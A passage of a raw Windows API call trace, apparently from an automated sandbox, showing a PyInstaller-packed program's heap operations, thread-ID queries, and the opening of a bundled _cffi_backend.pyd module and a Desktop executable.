Ptr=0x2bab5e0, Size=0x3a4) returned 0x2ba7438 [0075.621] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba7438, Size=0x434) returned 0x31d4b50 [0075.621] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31d4b50, Size=0x4d4) returned 0x325e790 [0075.621] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x325e790 | out: hHeap=0x2ad0000) returned 1 [0075.621] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32fe660 | out: hHeap=0x2ad0000) returned 1 [0075.621] GetCurrentThreadId () returned 0x9b0 [0075.621] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba50 [0075.621] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba50 | out: hHeap=0x2ad0000) returned 1 [0075.621] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32e2c30 [0075.621] GetCurrentThreadId () returned 0x9b0 [0075.621] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0075.621] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0075.621] GetCurrentThreadId () returned 0x9b0 [0075.622] GetCurrentThreadId () returned 0x9b0 [0075.622] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0075.622] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0075.622] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x3350588 [0075.622] GetCurrentThreadId () returned 0x9b0 [0075.622] GetCurrentThreadId () returned 0x9b0 [0075.622] GetCurrentThreadId () returned 0x9b0 [0075.622] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de688 [0075.622] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de688 | out: hHeap=0x2ad0000) returned 1 [0075.622] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de730 [0075.622] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31de730, Size=0x14) returned 0x31838a0 [0075.622] GetCurrentThreadId () returned 0x9b0 [0075.622] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31838a0 | out: hHeap=0x2ad0000) returned 1 [0075.622] GetCurrentThreadId () returned 0x9b0 [0075.622] GetCurrentThreadId () returned 0x9b0 [0075.622] GetCurrentThreadId () returned 0x9b0 [0075.622] GetCurrentThreadId () returned 0x9b0 [0075.622] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3350588 | out: hHeap=0x2ad0000) returned 1 [0075.622] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0075.622] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0075.622] GetCurrentThreadId () returned 0x9b0 [0075.622] GetCurrentThreadId () returned 0x9b0 [0075.622] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0075.623] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0075.623] GetCurrentThreadId () returned 0x9b0 [0075.623] GetCurrentThreadId () returned 0x9b0 [0075.623] GetCurrentThreadId () returned 0x9b0 [0075.623] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0075.623] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0075.623] GetCurrentThreadId () returned 0x9b0 [0075.623] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32e0d90 [0075.623] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32e2300 [0075.623] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba80 [0075.623] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84398 [0075.623] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84248 [0075.623] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba50 [0075.623] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abb00 [0075.623] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32aba50, Size=0x14) returned 0x3183980 [0075.623] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abb00 | out: hHeap=0x2ad0000) returned 1 [0075.623] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84248 | out: hHeap=0x2ad0000) returned 1 [0075.623] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84398 | out: hHeap=0x2ad0000) returned 1 [0075.623] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba80 | out: hHeap=0x2ad0000) returned 1 [0075.623] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183980 | out: hHeap=0x2ad0000) returned 1 [0075.624] GetCurrentThreadId () returned 0x9b0 [0075.624] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc00) returned 0x3351438 [0075.624] GetCurrentThreadId () returned 0x9b0 [0075.624] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba50 [0075.624] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x3183960 [0075.624] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c841a0 [0075.624] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba70 [0075.624] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abaf0 [0075.624] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32aba70, Size=0x14) returned 0x3183a60 [0075.624] GetCurrentThreadId () returned 0x9b0 [0075.625] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abac0 [0075.625] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1c) returned 0x30282d8 [0075.625] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84248 [0075.625] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abaa0 [0075.625] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba70 [0075.625] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32abaa0, Size=0x14) returned 0x3183ae0 [0075.625] GetCurrentThreadId () returned 0x9b0 [0075.625] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32e0d90 [0075.625] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abb50 [0075.625] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x3183960 [0075.625] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84110 [0075.625] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba50 [0075.625] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba70 [0075.625] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32aba50, Size=0x14) returned 0x31838a0 [0075.625] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2f0 [0075.626] GetCurrentThreadId () returned 0x9b0 [0075.626] GetCurrentThreadId () returned 0x9b0 [0075.626] GetCurrentThreadId () returned 0x9b0 [0075.626] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32e3250 [0075.626] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x32de398 [0075.626] GetCurrentThreadId () returned 0x9b0 [0075.626] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2c15ee0 [0075.626] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abae0 [0075.626] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84248 [0075.626] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84158 [0075.626] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32aba50 [0075.626] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abb80 [0075.626] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32aba50, Size=0x14) returned 0x3183be0 [0075.626] GetCurrentThreadId () returned 0x9b0 [0075.626] GetCurrentThreadId () returned 0x9b0 [0075.626] GetCurrentThreadId () returned 0x9b0 [0075.626] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.626] GetCurrentThreadId () returned 0x9b0 [0075.627] GetCurrentThreadId () returned 0x9b0 [0075.627] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.627] GetCurrentThreadId () returned 0x9b0 [0075.627] GetCurrentThreadId () returned 0x9b0 [0075.627] GetCurrentThreadId () returned 0x9b0 [0075.627] GetCurrentThreadId () returned 0x9b0 [0075.627] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0075.627] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.627] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0075.627] GetCurrentThreadId () returned 0x9b0 [0075.627] GetCurrentThreadId () returned 0x9b0 [0075.627] GetCurrentThreadId () returned 0x9b0 [0075.627] GetCurrentThreadId () returned 0x9b0 [0075.627] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x31de6f8 [0075.627] GetCurrentThreadId () returned 0x9b0 [0075.627] GetCurrentThreadId () returned 0x9b0 [0075.627] GetCurrentThreadId () returned 0x9b0 [0075.627] GetCurrentThreadId () returned 0x9b0 [0075.627] GetCurrentThreadId () returned 0x9b0 [0075.627] GetCurrentThreadId () returned 0x9b0 [0075.627] GetCurrentThreadId () returned 0x9b0 [0075.627] GetCurrentThreadId () returned 0x9b0 [0075.627] GetCurrentThreadId () returned 0x9b0 [0075.627] GetCurrentThreadId () returned 0x9b0 [0075.628] GetCurrentThreadId () returned 0x9b0 [0075.628] GetCurrentThreadId () returned 0x9b0 [0075.628] GetCurrentThreadId () returned 0x9b0 [0075.628] GetLastError () returned 0x0 [0075.628] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\_cffi_backend.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11~1\\_cffi_backend.pyd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b98b0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f4 [0075.628] GetFileType (hFile=0x2f4) returned 0x1 [0075.628] GetCurrentThreadId () returned 0x9b0 [0075.628] GetLastError () returned 0x0 [0075.628] GetFileType (hFile=0x2f4) returned 0x1 [0075.628] GetFileInformationByHandle (in: hFile=0x2f4, lpFileInformation=0x9b992c | out: lpFileInformation=0x9b992c) returned 1 [0075.628] FileTimeToLocalFileTime (in: lpFileTime=0x9b9940, lpLocalFileTime=0x9b9970 | out: lpLocalFileTime=0x9b9970) returned 1 [0075.629] FileTimeToSystemTime (in: lpFileTime=0x9b9970, lpSystemTime=0x9b9960 | out: lpSystemTime=0x9b9960) returned 1 [0075.629] FileTimeToLocalFileTime (in: lpFileTime=0x9b9938, lpLocalFileTime=0x9b9970 | out: lpLocalFileTime=0x9b9970) returned 1 [0075.629] FileTimeToSystemTime (in: lpFileTime=0x9b9970, lpSystemTime=0x9b9960 | out: lpSystemTime=0x9b9960) returned 1 [0075.629] FileTimeToLocalFileTime (in: lpFileTime=0x9b9930, lpLocalFileTime=0x9b9970 | out: lpLocalFileTime=0x9b9970) returned 1 [0075.629] FileTimeToSystemTime (in: lpFileTime=0x9b9970, lpSystemTime=0x9b9960 | out: lpSystemTime=0x9b9960) returned 1 [0075.629] GetCurrentThreadId () returned 0x9b0 [0075.629] GetFullPathNameA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\_cffi_backend.pyd", nBufferLength=0x104, lpBuffer=0x9b9674, lpFilePart=0x9b966c | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\_cffi_backend.pyd", lpFilePart=0x9b966c*="_cffi_backend.pyd") returned 0x3d [0075.629] ActivateActCtx (in: hActCtx=0x1050d14, lpCookie=0x9b9654 | out: hActCtx=0x1050d14, lpCookie=0x9b9654) returned 1 [0075.629] LoadLibraryExA (lpLibFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\_cffi_backend.pyd", hFile=0x0, dwFlags=0x8) [0075.633] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x80) returned 0x31dd640 [0075.635] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2f8 [0075.635] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f2930 [0075.636] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x33c4c50 [0075.636] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32f2930 | out: hHeap=0x2ad0000) returned 1 [0075.636] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba90 [0075.637] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84248 [0075.637] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84260 [0075.637] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abaa0 [0075.637] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba50 [0075.637] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32abaa0, Size=0x14) returned 0x3183be0 [0075.637] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba50 | out: hHeap=0x2ad0000) returned 1 [0075.637] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84260 | out: hHeap=0x2ad0000) returned 1 [0075.637] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84248 | out: hHeap=0x2ad0000) returned 1 [0075.637] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba90 | out: hHeap=0x2ad0000) returned 1 [0075.637] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183be0 | out: hHeap=0x2ad0000) returned 1 [0075.637] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba50 [0075.637] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84290 [0075.637] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84248 [0075.637] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32abb70 [0075.637] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32aba70 [0075.637] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x32abb70, Size=0x14) returned 0x3183860 [0075.637] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba70 | out: hHeap=0x2ad0000) returned 1 [0075.637] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84248 | out: hHeap=0x2ad0000) returned 1 [0075.637] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84290 | out: hHeap=0x2ad0000) returned 1 [0075.637] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba50 | out: hHeap=0x2ad0000) returned 1 [0075.638] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183860 | out: hHeap=0x2ad0000) returned 1 [0075.638] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f3260 [0075.638] GetLastError () returned 0x0 [0075.638] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abb00 | out: hHeap=0x2ad0000) returned 1 [0075.639] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84248 | out: hHeap=0x2ad0000) returned 1 [0075.639] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31838c0 | out: hHeap=0x2ad0000) returned 1 [0075.639] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32aba50 | out: hHeap=0x2ad0000) returned 1 [0075.639] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183960 | out: hHeap=0x2ad0000) returned 1 [0075.639] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x33bdfc0 [0075.639] GetLastError () returned 0x0 [0075.639] CloseHandle (hObject=0x2f4) returned 1 [0075.639] GetLastError () returned 0x0 [0075.639] GetCurrentThreadId () returned 0x9b0 [0075.639] GetLastError () returned 0x0 [0075.639] GetCurrentThreadId () returned 0x9b0 [0075.639] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0075.639] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0075.639] GetCurrentThreadId () returned 0x9b0 [0075.639] GetCurrentThreadId () returned 0x9b0 [0075.639] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.639] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0075.639] GetCurrentThreadId () returned 0x9b0 [0075.640] GetCurrentThreadId () returned 0x9b0 [0075.640] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0075.640] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0075.640] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0075.640] GetCurrentThreadId () returned 0x9b0 [0075.640] GetCurrentThreadId () returned 0x9b0 [0075.640] GetCurrentThreadId () returned 0x9b0 [0075.640] GetCurrentThreadId () returned 0x9b0 [0075.640] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0075.640] GetCurrentThreadId () returned 0x9b0 [0075.640] GetCurrentThreadId () returned 0x9b0 [0075.640] GetLastError () returned 0x0 [0075.640] GetLastError () returned 0x0 [0075.640] GetLastError () returned 0x0 [0075.640] GetLastError () returned 0x0 [0075.640] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84248 | out: hHeap=0x2ad0000) returned 1 [0075.640] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32abae0 [0075.640] GetLastError () returned 0x0 [0075.640] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9448, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f4 [0075.641] GetFileType (hFile=0x2f4) returned 0x1 [0075.641] GetLastError () returned 0x0 [0075.641] GetCurrentThreadId () returned 0x9b0 [0075.641] GetLastError () returned 0x0 [0075.641] GetFileType (hFile=0x2f4) returned 0x1 [0075.641] GetFileInformationByHandle (in: hFile=0x2f4, lpFileInformation=0x9b94c4 | out: lpFileInformation=0x9b94c4) returned 1 [0075.641] FileTimeToLocalFileTime (in: lpFileTime=0x9b94d8, lpLocalFileTime=0x9b9508 | out: lpLocalFileTime=0x9b9508) returned 1 [0075.641] FileTimeToSystemTime (in: lpFileTime=0x9b9508, lpSystemTime=0x9b94f8 | out: lpSystemTime=0x9b94f8) returned 1 [0075.641] FileTimeToLocalFileTime (in: lpFileTime=0x9b94d0, lpLocalFileTime=0x9b9508 | out: lpLocalFileTime=0x9b9508) returned 1 [0075.641] FileTimeToSystemTime (in: lpFileTime=0x9b9508, lpSystemTime=0x9b94f8 | out: lpSystemTime=0x9b94f8) returned 1 [0075.641] FileTimeToLocalFileTime (in: lpFileTime=0x9b94c8, lpLocalFileTime=0x9b9508 | out: lpLocalFileTime=0x9b9508) returned 1 [0075.641] FileTimeToSystemTime (in: lpFileTime=0x9b9508, lpSystemTime=0x9b94f8 | out: lpSystemTime=0x9b94f8) returned 1 [0075.641] GetLastError () returned 0x0 [0075.641] GetCurrentThreadId () returned 0x9b0 [0075.641] GetLastError () returned 0x0 [0075.641] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abae0 | out: hHeap=0x2ad0000) returned 1 [0075.641] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ff58 | out: hHeap=0x2ad0000) returned 1 [0075.642] GetLastError () returned 0x0 [0075.642] GetLastError () returned 0x0 [0075.642] GetCurrentThreadId () returned 0x9b0 [0075.642] GetLastError () returned 0x0 [0075.642] GetCurrentThreadId () returned 0x9b0 [0075.642] GetCurrentThreadId () returned 0x9b0 [0075.642] GetLastError () returned 0x0 [0075.642] GetLastError () returned 0x0 [0075.642] GetCurrentThreadId () returned 0x9b0 [0075.642] GetLastError () returned 0x0 [0075.642] GetCurrentThreadId () returned 0x9b0 [0075.642] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2c5b) returned 0x33cd990 [0075.642] GetLastError () returned 0x0 [0075.642] GetLastError () returned 0x0 [0075.643] GetCurrentThreadId () returned 0x9b0 [0075.643] GetLastError () returned 0x0 [0075.643] GetCurrentThreadId () returned 0x9b0 [0075.643] GetLastError () returned 0x0 [0075.643] GetLastError () returned 0x0 [0075.643] GetCurrentThreadId () returned 0x9b0 [0075.643] GetLastError () returned 0x0 [0075.643] GetLastError () returned 0x0 [0075.643] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc04b8 | out: hHeap=0x2ad0000) returned 1 [0075.643] CloseHandle (hObject=0x2f4) returned 1 [0075.643] GetLastError () returned 0x0 [0075.643] GetCurrentThreadId () returned 0x9b0 [0075.643] GetLastError () returned 0x0 [0075.644] GetLastError () returned 0x0 [0075.644] GetCurrentThreadId () returned 0x9b0 [0075.644] GetLastError () returned 0x0 [0075.644] GetLastError () returned 0x0 [0075.644] GetCurrentThreadId () returned 0x9b0 [0075.644] GetLastError () returned 0x0 [0075.645] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32f8a68 | out: hHeap=0x2ad0000) returned 1 [0075.645] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33d05f8 | out: hHeap=0x2ad0000) returned 1 [0075.645] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33d61f0, Size=0x6574) returned 0x33d61f0 [0075.645] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33cd990 | out: hHeap=0x2ad0000) returned 1 [0075.645] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x254) returned 0x3350e70 [0075.645] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84248 [0075.645] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84248, Size=0x20) returned 0x30283f0 [0075.645] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30283f0, Size=0x40) returned 0x2a18e60 [0075.645] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18e60, Size=0x64) returned 0x2a19b98 [0075.645] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19b98, Size=0x8c) returned 0x2ac0288 [0075.645] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0288, Size=0xb8) returned 0x2cdeba8 [0075.645] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cdeba8, Size=0xe8) returned 0x325a8a0 [0075.645] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x222) returned 0x3352040 [0075.645] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325a8a0, Size=0x120) returned 0x2c374c0 [0075.645] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c374c0, Size=0x160) returned 0x325f6e0 [0075.645] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325f6e0, Size=0x1a8) returned 0x3028e60 [0075.645] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028e60, Size=0x1f8) returned 0x2c315e0 [0075.646] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c315e0, Size=0x250) returned 0x2ac4960 [0075.646] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2d1) returned 0x3352270 [0075.646] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac4960, Size=0x2b4) returned 0x2c2b680 [0075.646] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c2b680, Size=0x324) returned 0x2babc70 [0075.646] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2e2) returned 0x3352550 [0075.646] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2babc70, Size=0x3a4) returned 0x2ba7800 [0075.646] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba7800, Size=0x434) returned 0x31d31a0 [0075.646] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x492) returned 0x3352840 [0075.646] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31d31a0, Size=0x4d4) returned 0x325dd80 [0075.646] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x46f) returned 0x33dc770 [0075.646] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x322) returned 0x2bac300 [0075.646] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325dd80, Size=0x588) returned 0x3262630 [0075.646] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262630 | out: hHeap=0x2ad0000) returned 1 [0075.646] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33d61f0 | out: hHeap=0x2ad0000) returned 1 [0075.646] GetCurrentThreadId () returned 0x9b0 [0075.646] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32abb00 [0075.646] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32abb00 | out: hHeap=0x2ad0000) returned 1 [0075.647] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x32f13c0 [0075.647] GetCurrentThreadId () returned 0x9b0 [0075.647] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.647] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0075.647] GetCurrentThreadId () returned 0x9b0 [0075.647] GetCurrentThreadId () returned 0x9b0 [0075.647] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0075.647] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0075.647] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0075.647] GetCurrentThreadId () returned 